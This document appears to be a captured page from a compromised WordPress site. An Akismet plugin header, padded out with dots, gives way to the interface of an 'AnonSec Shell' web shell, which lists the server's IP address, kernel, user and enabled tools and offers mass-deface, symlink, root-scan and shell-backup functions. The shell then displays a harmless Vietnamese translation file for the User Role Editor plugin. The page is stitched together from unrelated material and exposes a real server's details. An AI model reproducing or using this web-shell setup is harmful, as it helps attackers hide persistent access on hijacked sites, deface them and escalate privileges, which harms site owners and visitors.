#/** * @package Akismet */ /* Plugin Name: Akismet Anti-spam: Spam Protection Plugin URI: https://akismet.com/ Description: Used by millions, Akismet is quite possibly the best way in the world to protect your blog from spam. Akismet Anti-spam keeps your site protected even while you sleep. To get started: activate the Akismet plugin and then go to your Akismet Settings page to set up your API key. Version: 5.4 Requires at least: 5.8 Requires PHP: 7.2 Author: Automattic - Anti-spam Team Author URI: https://automattic.com/wordpress-plugins/ License: GPLv2 or later Text Domain: akismet */ /* This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. Copyright 2005-2025 Automattic, Inc. */ // Make sure we don't expose any info if called directly . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . AnonSec Shell
AnonSec Shell
Server IP : 62.109.13.187  /  Your IP : 216.73.216.11   [ Reverse IP ]
Web Server : Apache/2.4.6 (CentOS) mpm-itk/2.4.7-04 OpenSSL/1.0.2k-fips PHP/8.2.28
System : Linux robothost.ru 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : mosrembit ( 6064)
PHP Version : 8.2.28
Disable Function : NONE
Domains : 0 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/self/cwd/wp-content/languages/plugins/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /proc/self/cwd/wp-content/languages/plugins/user-role-editor-vi.po
# Translation of Plugins - User Role Editor - Stable (latest release) in Vietnamese
# This file is distributed under the same license as the Plugins - User Role Editor - Stable (latest release) package.
msgid ""
msgstr ""
"PO-Revision-Date: 2025-01-16 04:29:10+0000\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"Plural-Forms: nplurals=1; plural=0;\n"
"X-Generator: GlotPress/4.0.1\n"
"Language: vi_VN\n"
"Project-Id-Version: Plugins - User Role Editor - Stable (latest release)\n"

#: includes/classes/screen-help.php:86
msgid "Turn this option on in order to remove this limitation."
msgstr "Bật tùy chọn này để loại bỏ giới hạn này."

#: includes/classes/screen-help.php:85
msgid "Super administrator only may create, edit and delete users under WordPress multi-site by default."
msgstr "Chỉ siêu quản trị viên mới có thể tạo, chỉnh sửa và xóa người dùng trong WordPress đa trang theo mặc định."

#: includes/classes/screen-help.php:68
msgid "in order to be assigned to the new registered users."
msgstr "để được gán cho người dùng đã đăng ký mới."

#: includes/classes/screen-help.php:67
msgid "Note for multisite environment: take into account that other default roles should exist at the site,"
msgstr "Lưu ý đối với môi trường đa trang: hãy tính đến việc các vai trò mặc định khác nên tồn tại trên trang web,"

#: includes/classes/screen-help.php:66
msgid "select roles below to assign them to the new user automatically as an addition to the primary role."
msgstr "chọn các vai trò bên dưới để tự động gán chúng cho người dùng mới như là một bổ sung cho vai trò chính."

#: includes/classes/screen-help.php:48
msgid "an empty role \"No rights\", in order to look on the users list with role \"No rights\" at the separate tab then."
msgstr "một vai trò trống \"Không có quyền\", để xem danh sách người dùng với vai trò \"Không có quyền\" ở tab riêng biệt sau đó."

#: includes/classes/screen-help.php:47
msgid "Show at the \"Users\" page a quant of users without role. Module allows to assign all of them "
msgstr "Hiển thị trên trang \"Người dùng\" số lượng người dùng không có vai trò. Mô-đun cho phép gán tất cả chúng "

#: includes/classes/screen-help.php:29
msgid "He should do it using roles only."
msgstr "Anh ấy nên làm điều đó chỉ bằng cách sử dụng vai trò."

#: includes/classes/screen-help.php:28
msgid "Administrator can not assign capabilities to the user directly."
msgstr "Quản trị viên không thể gán khả năng cho người dùng trực tiếp."

#: includes/classes/screen-help.php:27
msgid "If turned off - capabilities section of selected user is shown in readonly mode."
msgstr "Nếu tắt - phần khả năng của người dùng đã chọn được hiển thị ở chế độ chỉ đọc."

#: includes/classes/screen-help.php:23
msgid "Turning on this option will show those deprecated capabilities."
msgstr "Bật tùy chọn này sẽ hiển thị các khả năng đã lỗi thời đó."

#: includes/classes/screen-help.php:22
msgid "They are left at the user roles for the compatibility purpose with old themes and plugins code."
msgstr "Chúng được giữ lại ở các vai trò người dùng vì mục đích tương thích với mã giao diện và plugin cũ."

#: includes/classes/screen-help.php:21
msgid "Capabilities like \"level_0\", \"level_1\" are deprecated and are not used by WordPress."
msgstr "Khả năng như \"level_0\", \"level_1\" đã lỗi thời và không được WordPress sử dụng."

#: includes/classes/screen-help.php:17
msgid "It is hidden by default for security reasons."
msgstr "Nó bị ẩn theo mặc định vì lý do bảo mật."

#: includes/classes/screen-help.php:16
msgid "turn this option on in order to make the \"Administrator\" role available at the User Role Editor roles selection drop-down list."
msgstr "bật tùy chọn này để hiển thị vai trò \"Quản trị viên\" trong danh sách thả xuống lựa chọn vai trò của Trình chỉnh sửa Vai trò Người dùng."

#: includes/classes/grant-roles.php:528
msgid "Select users from which you wish revoke role!"
msgstr "Chọn người dùng mà bạn muốn thu hồi vai trò!"

#: includes/classes/grant-roles.php:527
msgid "Select users to which you wish to add role!"
msgstr "Chọn người dùng mà bạn muốn thêm vai trò!"

#: includes/classes/grant-roles.php:526
msgid "Select role first!"
msgstr "Vui lòng chọn vai trò trước!"

#: includes/classes/grant-roles.php:191
msgid "Error: Role not revoked"
msgstr "Lỗi: Vai trò chưa được thu hồi"

#. translators: template %d is a quantity of users to whom role was added
#: includes/classes/grant-roles.php:188
msgid "Role revoked from %d user(s)."
msgstr "Vai trò đã được thu hồi từ %d người dùng."

#: includes/classes/grant-roles.php:107
msgid "Error: Role not added"
msgstr "Lỗi: Vai trò chưa được thêm"

#. translators: template %d is a quantity of users to whom role was added
#: includes/classes/grant-roles.php:104
msgid "Role added to %d user(s)."
msgstr "Vai trò đã được thêm vào %d người dùng."

#: includes/classes/grant-roles.php:86 includes/classes/grant-roles.php:167
msgid "Invalid role"
msgstr "Vai trò không hợp lệ"

#: includes/classes/grant-roles.php:74 includes/classes/grant-roles.php:155
msgid "Empty users list"
msgstr "Danh sách người dùng trống"

#: includes/classes/capability.php:90
msgid "Wrong Request"
msgstr "Yêu cầu không hợp lệ"

#: includes/classes/editor.php:1291
msgid "Wrong role ID"
msgstr "ID vai trò không hợp lệ"

#: includes/classes/editor.php:1263
msgid "There are no roles for deletion"
msgstr "Không có vai trò nào để xóa"

#: includes/classes/grant-roles.php:491
msgid "Revoke"
msgstr "Thu hồi"

#: includes/classes/grant-roles.php:485 includes/classes/grant-roles.php:487
msgid "Revoke role…"
msgstr "Thu hồi vai trò…"

#: includes/classes/grant-roles.php:483
msgid "Add"
msgstr "Thêm"

#: includes/classes/grant-roles.php:477 includes/classes/grant-roles.php:479
msgid "Add role…"
msgstr "Thêm vai trò…"

#: includes/classes/editor.php:1335
msgid "Wrong request. Default role can not be empty"
msgstr "Yêu cầu không chính xác. Vai trò mặc định không thể để trống"

#: includes/classes/editor.php:1331
msgid "This method is only for a single site of WordPress multisite installation."
msgstr "Phương thức này chỉ dành cho site đơn của bản cài WordPress multisite"

#: includes/classes/editor.php:1237
msgid "You can not delete role"
msgstr "Bạn không thể xoá role"

#: includes/classes/editor.php:1233
msgid "Role does not exist"
msgstr "Role không tồn tại"

#: includes/classes/screen-help.php:19
msgid "automatically converts capability names from the technical form for internal use like \"edit_others_posts\" to more user friendly form, e.g. \"Edit others posts\"."
msgstr "tự động chuyển đổi tên khả năng từ dạng kỹ thuật dùng nội bộ như \"edit_others_posts\" sang dạng thân thiện với người dùng hơn, ví dụ: \"Chỉnh sửa bài viết của người khác\"."

#: includes/classes/editor.php:232
msgid "Wrong request!"
msgstr "Yêu cầu không hợp lệ!"

#: includes/classes/capability.php:51
msgid "Error: this word is used by WordPress as a role ID"
msgstr "Lỗi: Từ này được WordPress sử dụng làm ID vai trò"

#: includes/settings-template.php:107
msgid "columns"
msgstr "cột"

#: includes/settings-template.php:101
msgid "Show capabilities in"
msgstr "Xem quyền hạn trong"

#: includes/settings-template.php:42
msgid "Tools"
msgstr "Công cụ"

#: includes/classes/view.php:338
msgid "Columns:"
msgstr "Cột:"

#: includes/classes/view.php:335
msgid "Granted Only"
msgstr "Chỉ được cấp"

#: includes/classes/view.php:319
msgid "Granted"
msgstr "Được cấp"

#: includes/classes/view.php:319
msgid "Total"
msgstr "Tổng cộng"

#: includes/classes/view.php:319
msgid "Group"
msgstr "Nhóm"

#: includes/classes/user-view.php:59
msgid "Switch To"
msgstr "Chuyển đến"

#: includes/classes/user-role-editor.php:810
msgid "If any plugins (such as WooCommerce, S2Member and many others) have changed user roles and capabilities during installation, all those changes will be LOST!"
msgstr "Nếu bất kỳ plugin nào (như WooCommerce, S2Member và nhiều plugin khác) đã thay đổi vai trò và khả năng của người dùng trong quá trình cài đặt, tất cả những thay đổi đó sẽ bị MẤT!"

#: includes/classes/user-role-editor.php:809
msgid " Resetting will restore default user roles and capabilities from WordPress core."
msgstr " Đặt lại sẽ khôi phục vai trò và khả năng người dùng mặc định từ WordPress core."

#: includes/classes/user-role-editor.php:808
msgid "DANGER!"
msgstr "NGUY HIỂM!"

#: includes/classes/user-role-editor.php:760
#: includes/classes/user-role-editor.php:806
msgid "No"
msgstr "Không"

#: includes/classes/user-role-editor.php:759
#: includes/classes/user-role-editor.php:805
msgid "Yes"
msgstr "Có"

#: includes/classes/user-role-editor.php:758
#: includes/classes/user-role-editor.php:804
msgid "Confirm"
msgstr "Xác nhận"

#: includes/classes/user-role-editor.php:295
msgid "To:"
msgstr "Đến:"

#: includes/classes/tools.php:40
msgid "Reset Roles to its original state"
msgstr "Đặt lại Vai trò về trạng thái ban đầu"

#: includes/classes/tools.php:32
msgid "If checked, then apply action to ALL sites. Main site only is affected in other case."
msgstr "Nếu được chọn, thì áp dụng hành động cho TẤT CẢ các trang web. Chỉ trang web chính bị ảnh hưởng trong trường hợp khác."

#: includes/classes/tools.php:24
msgid "For more information on how to undo undesired changes and restore plugins capabilities in case you lost them by mistake go to: "
msgstr "Để biết thêm thông tin về cách hoàn tác những thay đổi không mong muốn và khôi phục khả năng của plugin trong trường hợp bạn vô tình làm mất chúng, hãy truy cập: "

#: includes/classes/tools.php:23
msgid "If any plugins (such as WooCommerce, S2Member and many others) have changed user roles and capabilities during installation, those changes will be LOST!"
msgstr "Nếu bất kỳ plugin nào (chẳng hạn như WooCommerce, S2Member và nhiều plugin khác) đã thay đổi vai trò và khả năng của người dùng trong quá trình cài đặt, những thay đổi đó sẽ BỊ MẤT!"

#: includes/classes/tools.php:22
msgid "Resetting will setup default user roles and capabilities from WordPress core."
msgstr "Khôi phục cài đặt sẽ thiết lập các vai trò và khả năng người dùng mặc định từ WordPress core."

#: includes/classes/tools.php:20
msgid "WARNING!"
msgstr "CHÚ Ý!"

#: includes/classes/tools.php:64
msgid "Tools: Reset: User Roles were initialized"
msgstr "Công cụ: Đặt lại: Vai trò người dùng đã được khởi tạo"

#: includes/classes/screen-help.php:25
msgid "Show confirmation dialog before save changes made to a current role."
msgstr "Hiển thị hộp thoại xác nhận trước khi lưu các thay đổi được thực hiện cho một vai trò hiện tại."

#: includes/classes/screen-help.php:24 includes/settings-template.php:86
msgid "Confirm role update"
msgstr "Xác nhận cập nhật vai trò"

#: includes/classes/role-additional-options.php:113
msgid "Additional Options"
msgstr "Tùy chọn bổ sung"

#: includes/classes/role-additional-options.php:53
msgid "Hide admin bar"
msgstr "Ẩn thanh quản trị"

#: includes/classes/grant-roles.php:525
msgid "Select role(s) which you wish to grant!"
msgstr "Chọn vai trò(vai trò) mà bạn muốn cấp!"

#: includes/classes/grant-roles.php:524
msgid "Select users to which you wish to grant roles!"
msgstr "Chọn người dùng mà bạn muốn cấp vai trò!"

#: includes/classes/grant-roles.php:523
msgid "Grant roles to selected users"
msgstr "Cấp vai trò cho người dùng đã chọn"

#: includes/classes/view.php:288
msgid "Working..."
msgstr "Đang xử lý..."

#: includes/classes/grant-roles.php:475
msgid "Grant Roles"
msgstr "Cấp Vai trò"

#: includes/classes/grant-roles.php:429
msgid "Other Roles: "
msgstr "Các vai trò khác: "

#: includes/classes/grant-roles.php:409
msgid "Primary Role: "
msgstr "Vai trò chính: "

#: includes/classes/grant-roles.php:386
msgid "Requested user does not exist"
msgstr "Người dùng yêu cầu không tồn tại"

#: includes/classes/grant-roles.php:380
msgid "Wrong request, valid user ID was missed"
msgstr "Yêu cầu sai, thiếu ID người dùng hợp lệ"

#: includes/classes/grant-roles.php:363
msgid "Roles were granted to users successfully"
msgstr "Vai trò đã được cấp cho người dùng thành công"

#: includes/classes/grant-roles.php:354
msgid "Invalid data at the other roles list"
msgstr "Dữ liệu không hợp lệ trong danh sách các vai trò khác"

#: includes/classes/grant-roles.php:341
msgid "Invalid primary role"
msgstr "Vai trò chính không hợp lệ"

#: includes/classes/grant-roles.php:79 includes/classes/grant-roles.php:160
#: includes/classes/grant-roles.php:333
msgid "Can not edit user or invalid data at the users list"
msgstr "Không thể chỉnh sửa người dùng hoặc dữ liệu không hợp lệ trong danh sách người dùng"

#: includes/classes/grant-roles.php:69 includes/classes/grant-roles.php:150
#: includes/classes/grant-roles.php:327 includes/classes/grant-roles.php:373
msgid "Not enough permissions"
msgstr "Quyền không đủ"

#: includes/classes/capability.php:229
msgid "capabilities were removed successfully"
msgstr "khả năng đã được xóa thành công"

#: includes/classes/capability.php:213 includes/classes/capability.php:218
msgid "There are no capabilities available for deletion!"
msgstr "Không có khả năng nào khả dụng để xóa!"

#: includes/classes/capability.php:43
msgid "Error: this capability is used internally by WordPress"
msgstr "Lỗi: Khả năng này được WordPress sử dụng nội bộ"

#: includes/classes/capabilities-groups-manager.php:194
msgid "Deprecated"
msgstr "Lỗi thời"

#: includes/classes/capabilities-groups-manager.php:165
msgid "Users"
msgstr "Người dùng"

#: includes/classes/capabilities-groups-manager.php:160
msgid "Plugins"
msgstr "Plugin"

#: includes/classes/capabilities-groups-manager.php:155
msgid "Pages"
msgstr "Trang"

#: includes/classes/capabilities-groups-manager.php:150
msgid "Posts"
msgstr "Bài viết"

#: includes/classes/capabilities-groups-manager.php:145
msgid "Themes"
msgstr "Giao diện"

#: includes/classes/capabilities-groups-manager.php:130
msgid "All"
msgstr "Tất cả"

#: includes/classes/capabilities-groups-manager.php:108
#: includes/classes/capabilities-groups-manager.php:135
msgid "Core"
msgstr "Cốt lõi"

#: includes/classes/capabilities-groups-manager.php:103
msgid "WooCommerce"
msgstr "WooCommerce"

#: includes/classes/capabilities-groups-manager.php:45
msgid "Custom Post Types"
msgstr "Kiểu bài viết tùy chỉnh"

#. Author of the plugin
#: user-role-editor.php
msgid "Vladimir Garagulya"
msgstr "Vladimir Garagulya"

#. Description of the plugin
#: user-role-editor.php
msgid "Change/add/delete WordPress user roles and capabilities."
msgstr "Thêm/sửa/xóa các quyền của người dùng WordPress"

#. Plugin URI of the plugin
#. Author URI of the plugin
#: user-role-editor.php
msgid "https://www.role-editor.com"
msgstr "https://www.role-editor.com"

#: includes/classes/user-view.php:195
msgid "Other Roles:"
msgstr "Các quyền khác:"

#: includes/classes/user-view.php:186
msgid "bbPress Role:"
msgstr "Quyền bbPress:"

#: includes/classes/user-view.php:180
msgid "Primary Role:"
msgstr "Quyền cơ bản:"

#: includes/classes/user-view.php:142
msgid "Change capabilities for user"
msgstr "Thay đổi quyền của người dùng"

#: includes/classes/user-view.php:71
msgid "Network Super Admin"
msgstr "Network Super Admin"

#: includes/classes/capabilities-groups-manager.php:201
msgid "Custom capabilities"
msgstr "Các quyền tự chọn:"

#: includes/classes/view.php:332
msgid "Quick filter:"
msgstr "Lọc nhanh:"

#: includes/classes/role-view.php:382 includes/classes/tools.php:31
msgid "Apply to All Sites"
msgstr "Áp dụng cho tất cả các trang"

#: includes/classes/role-view.php:369
msgid "If checked, then apply action to ALL sites of this Network"
msgstr "Những phần được đánh dấu sẽ áp dụng cho tất cả các trang của Network này"

#: includes/classes/role-view.php:355 includes/classes/user-view.php:159
msgid "Show capabilities in human readable form"
msgstr "Hiển thị các quyền trong bảng mà người dùng có thể đọc được"

#: includes/classes/role-view.php:399
msgid "Select Role and change its capabilities:"
msgstr "Chọn và thay đổi các quyền:"

#: includes/settings-template.php:207
msgid "Allow non super administrators to create, edit, and delete users"
msgstr "Cho phép người dùng không phải là admin tạo, sửa và xóa người dùng khác"

#: includes/settings-template.php:181
msgid "Note for multisite environment: take into account that other default roles should exist at the site, in order to be assigned to the new registered users."
msgstr "Lưu ý cho môi trường đa site: cần tính đến việc các vai trò mặc định khác nên tồn tại trên site, để có thể gán cho các người dùng mới đăng ký."

#: includes/settings-template.php:175
msgid "Other default roles for new registered user: "
msgstr "Các quyền mặc định cho người dùng mới:"

#: includes/settings-template.php:168
msgid "Primary default role: "
msgstr "Các quyền mặc định cơ bản:"

#: includes/settings-template.php:121 includes/settings-template.php:156
#: includes/settings-template.php:188 includes/settings-template.php:220
msgid "Save"
msgstr "Lưu"

#: includes/settings-template.php:46
msgid "About"
msgstr "Về chúng tôi"

#: includes/settings-template.php:16
msgid "User Role Editor - Options"
msgstr "Các lựa chọn bố cục quyền người dùng"

#: includes/classes/user-role-editor.php:779
msgid " Capability name (ID) must contain latin characters, digits, hyphens or underscore only!"
msgstr "ID chỉ bao gồm các ký tự chữ latin, số, gạch ngang hoặc gạch dưới!"

#: includes/classes/user-role-editor.php:778
msgid " Capability name (ID) can not be empty!"
msgstr "ID không thể bỏ trống!"

#: includes/classes/user-role-editor.php:777
msgid "Warning! Be careful - removing critical capability could crash some plugin or other custom code"
msgstr "Cảnh báo! Hãy cẩn thận - loại bỏ quyền quan trọng có thể lỗi một số plugin hoặc code tùy chỉnh khác"

#: includes/classes/user-role-editor.php:775
msgid "Set New Default Role"
msgstr "Thiết lập mặc định quyền mới"

#: includes/classes/user-role-editor.php:774
msgid "Default Role"
msgstr "Quyền mặc định"

#: includes/classes/user-role-editor.php:813
msgid "Continue?"
msgstr "Tiếp tục?"

#: includes/classes/user-role-editor.php:811
msgid "For more information on how to undo undesired changes and restore plugin capabilities go to"
msgstr "Để biết thêm thông tin về cách hoàn tác thay đổi và khôi phục lại khả năng của plugin, hãy truy cập"

#: includes/classes/tools.php:40 includes/classes/user-role-editor.php:807
msgid "Reset"
msgstr "Đặt lại dữ liệu"

#: includes/classes/user-role-editor.php:773
#: includes/classes/user-role-editor.php:776
msgid "Delete Capability"
msgstr "Xóa khả năng"

#: includes/classes/user-role-editor.php:772
msgid "Add Capability"
msgstr "Thêm khả năng"

#: includes/classes/user-role-editor.php:771
msgid "Cancel"
msgstr "Hủy"

#: includes/classes/user-role-editor.php:770
msgid "Delete Role"
msgstr "Xóa quyền"

#: includes/classes/user-role-editor.php:768
msgid "Add Role"
msgstr "Thêm quyền"

#: includes/classes/user-role-editor.php:767
msgid " WordPress does not support numeric Role name (ID). Add latin characters to it."
msgstr "WordPress không hỗ trợ ID dạng số. Vui lòng thêm ký tự latin."

#: includes/classes/user-role-editor.php:766
msgid " Role name (ID) must contain latin characters, digits, hyphens or underscore only!"
msgstr "ID chỉ bao gồm các ký tự chữ latin, số, gạch ngang hoặc gạch dưới!"

#: includes/classes/user-role-editor.php:765
msgid " Role name (ID) can not be empty!"
msgstr "ID không thể bỏ trống!"

#: includes/classes/user-role-editor.php:764
#: includes/classes/user-role-editor.php:769
msgid "Rename Role"
msgstr "Thay đổi tên của quyền"

#: includes/classes/user-role-editor.php:763
msgid "Add New Role"
msgstr "Thêm quyền"

#: includes/classes/user-role-editor.php:762
msgid "Please confirm permissions update"
msgstr "Vui lòng xác nhận cập nhật quyền hạn"

#: includes/classes/user-role-editor.php:761
msgid "Update"
msgstr "Cập nhật"

#: includes/classes/user-role-editor.php:636
msgid "You do not have sufficient permissions to manage options for User Role Editor."
msgstr "Bạn không có đủ quyền để quản lý các tùy chọn cho User Role Editor."

#: includes/classes/settings.php:120
msgid "Default Roles are updated"
msgstr "Quyền mặc định đã được cập nhật"

#: includes/classes/settings.php:70 includes/classes/settings.php:90
#: includes/classes/settings.php:140
msgid "User Role Editor options are updated"
msgstr "Các tùy chọn User Role Editor đã được cập nhật"

#: includes/classes/capabilities-groups-manager.php:187
#: includes/classes/user-role-editor.php:577 includes/settings-template.php:36
msgid "Multisite"
msgstr "Nhiều trang"

#: includes/classes/user-role-editor.php:571 includes/settings-template.php:31
msgid "Default Roles"
msgstr "Các quyền hạn mặc định"

#: includes/classes/user-role-editor.php:565 includes/settings-template.php:26
msgid "Additional Modules"
msgstr "Các tiện ích bổ sung khác"

#: includes/classes/capabilities-groups-manager.php:140
#: includes/classes/user-role-editor.php:559 includes/settings-template.php:20
msgid "General"
msgstr "Chung"

#: includes/classes/user-role-editor.php:510
#: includes/classes/user-role-editor.php:523
msgid "Settings"
msgstr "Thiết lập"

#: includes/classes/user-role-editor.php:374
#: includes/classes/user-role-editor.php:376
msgid "You do not have permission to edit this user."
msgstr "Bạn không có quyền để sửa người dùng này."

#: includes/classes/user-role-editor.php:297
msgid "Provide new role"
msgstr "Cấp quyền hạn mới"

#: includes/classes/user-role-editor.php:296
msgid "No rights"
msgstr "Không có các quyền"

#: includes/classes/user-role-editor.php:294
msgid "Change role for users without role"
msgstr "Thay đổi quyền hạn cho các người dùng chưa có quyền hạn nào"

#: includes/classes/user-other-roles.php:311
msgid "Additional Capabilities"
msgstr "Các khả năng bổ sung"

#: includes/classes/user-other-roles.php:247
msgid "Edit"
msgstr "Sửa"

#: includes/classes/user-other-roles.php:240
#: includes/classes/user-role-editor.php:402
msgid "Capabilities"
msgstr "Các khả năng"

#: includes/classes/user-other-roles.php:125
msgid "Select additional roles for this user"
msgstr "Chọn các quyền hạn bổ sung cho người dùng này"

#: includes/classes/user-other-roles.php:124
#: includes/classes/user-other-roles.php:261
msgid "Other Roles"
msgstr "Các quyền hạn khác"

#: includes/classes/screen-help.php:84
msgid "Allow non super-administrators to create, edit and delete users"
msgstr "Cho phép những người không phải siêu quản trị viên tạo, sửa và xoá người dùng."

#: includes/classes/screen-help.php:65
msgid "Other default roles for new registered user"
msgstr "Các quyền hạn mặc định khác cho người dùng đăng ký mới"

#: includes/classes/screen-help.php:46 includes/settings-template.php:141
msgid "Count users without role"
msgstr "Đếm người dùng chưa có quyền hạn"

#: includes/classes/screen-help.php:26 includes/settings-template.php:94
msgid "Edit user capabilities"
msgstr "Sửa các khả năng của người dùng"

#: includes/classes/role-view.php:365 includes/classes/screen-help.php:20
#: includes/classes/user-view.php:169 includes/settings-template.php:78
msgid "Show deprecated capabilities"
msgstr "Hiển thị các khả năng không sử dụng"

#: includes/classes/screen-help.php:18 includes/settings-template.php:70
msgid "Show capabilities in the human readable form"
msgstr "Hiển thị các khả năng trong bảng người dùng có thể đọc được"

#: includes/classes/screen-help.php:15 includes/settings-template.php:61
msgid "Show Administrator role at User Role Editor"
msgstr "Hiển thị quyền Administrator trong User Role Editor"

#: includes/classes/screen-help.php:12 includes/classes/screen-help.php:42
#: includes/classes/screen-help.php:62 includes/classes/screen-help.php:81
msgid "User Role Editor Options page help"
msgstr "Trang giúp đỡ các lựa chọn cho User Role Editor"

#. translators: placeholder %s is replaced by denied user capability id string
#. value
#: includes/classes/user-other-roles.php:225
msgid "Denied: %s"
msgstr "Từ chối: %s"

#: includes/classes/grant-roles.php:415 includes/classes/user-view.php:96
msgid "— No role for this site —"
msgstr "— Không có quyền hạn cho trang này —"

#: includes/classes/role-view.php:66
msgid "None"
msgstr "Không mục nào"

#: includes/classes/role-view.php:98
msgid "Delete All Unused Roles"
msgstr "Xóa tất cả các quyền hạn không được sử dụng"

#: includes/classes/lib.php:393
msgid "FAQ"
msgstr "Hỏi đáp"

#: includes/classes/lib.php:392 includes/classes/user-role-editor.php:536
msgid "Changelog"
msgstr "Lịch sử các thay đổi"

#: includes/classes/lib.php:391
msgid "Plugin download"
msgstr "Tải xuống tiện ích"

#: includes/classes/lib.php:390
msgid "Plugin webpage"
msgstr "Tiện ích trang web"

#: includes/classes/lib.php:389
msgid "Author's website"
msgstr "Trang web tác giả"

#: includes/classes/lib.php:388
msgid "Version:"
msgstr "Phiên bản:"

#. translators: placeholder %s is replaced by removed user capability id string
#. value
#: includes/classes/capability.php:225
msgid "Capability %s was removed successfully"
msgstr "Khả năng %s đã được xóa thành công"

#. translators: placeholder %s is replaced by existed user capability id string
#. value
#: includes/classes/capability.php:114
msgid "Capability %s exists already"
msgstr "Khả năng %s đã tồn tại"

#. translators: placeholder %s is replaced by added user capability id string
#. value
#: includes/classes/capability.php:111
msgid "Capability %s was added successfully"
msgstr "Đã thêm khả năng %s thành công"

#: includes/classes/capability.php:33
msgid "Error: Capability name must contain latin characters and digits only!"
msgstr "Lỗi: Tên khả năng chỉ có ký tự chữ latin and số!"

#: includes/classes/editor.php:1626
msgid "Export"
msgstr "Xuất"

#: includes/classes/editor.php:1625
msgid "Delete themes"
msgstr "Xóa các chủ đề"

#: includes/classes/editor.php:1624
msgid "Edit theme options"
msgstr "Các lựa chọn sửa chủ đề"

#: includes/classes/editor.php:1623
msgid "Promote users"
msgstr "Quảng bá người dùng"

#: includes/classes/editor.php:1622
msgid "Add users"
msgstr "Thêm người dùng"

#: includes/classes/editor.php:1621
msgid "Remove users"
msgstr "Xóa người dùng"

#: includes/classes/editor.php:1620
msgid "List users"
msgstr "Danh sách người dùng"

#: includes/classes/editor.php:1619
msgid "Update core"
msgstr "Cập nhật lõi"

#: includes/classes/editor.php:1618
msgid "Install themes"
msgstr "Cài đặt chủ đề"

#: includes/classes/editor.php:1617
msgid "Update themes"
msgstr "Cập nhật chủ đề"

#: includes/classes/editor.php:1616
msgid "Install plugins"
msgstr "Cài đặt tiện ích"

#: includes/classes/editor.php:1615
msgid "Delete plugins"
msgstr "Xóa tiện ích"

#: includes/classes/editor.php:1614
msgid "Update plugins"
msgstr "Cập nhật tiện ích"

#: includes/classes/editor.php:1613
msgid "Edit dashboard"
msgstr "Sửa bảng điều khiển"

#: includes/classes/editor.php:1612
msgid "Unfiltered upload"
msgstr "Không lọc tải file lên"

#: includes/classes/editor.php:1611
msgid "Create users"
msgstr "Tạo người dùng"

#: includes/classes/editor.php:1610
msgid "Delete users"
msgstr "Xóa người dùng"

#: includes/classes/editor.php:1609
msgid "Read private pages"
msgstr "Xem các trang cá nhân"

#: includes/classes/editor.php:1608
msgid "Edit private pages"
msgstr "Sửa các trang cá nhân"

#: includes/classes/editor.php:1607
msgid "Delete private pages"
msgstr "Xóa các trang cá nhân"

#: includes/classes/editor.php:1606
msgid "Read private posts"
msgstr "Xem các bài viết cá nhân"

#: includes/classes/editor.php:1605
msgid "Edit private posts"
msgstr "Sửa các bài viết cá nhân"

#: includes/classes/editor.php:1604
msgid "Delete private posts"
msgstr "Xóa các bài viết cá nhân"

#: includes/classes/editor.php:1603
msgid "Delete published posts"
msgstr "Xóa các bài viết đã đăng"

#: includes/classes/editor.php:1602
msgid "Delete others posts"
msgstr "Xóa các bài viết khác"

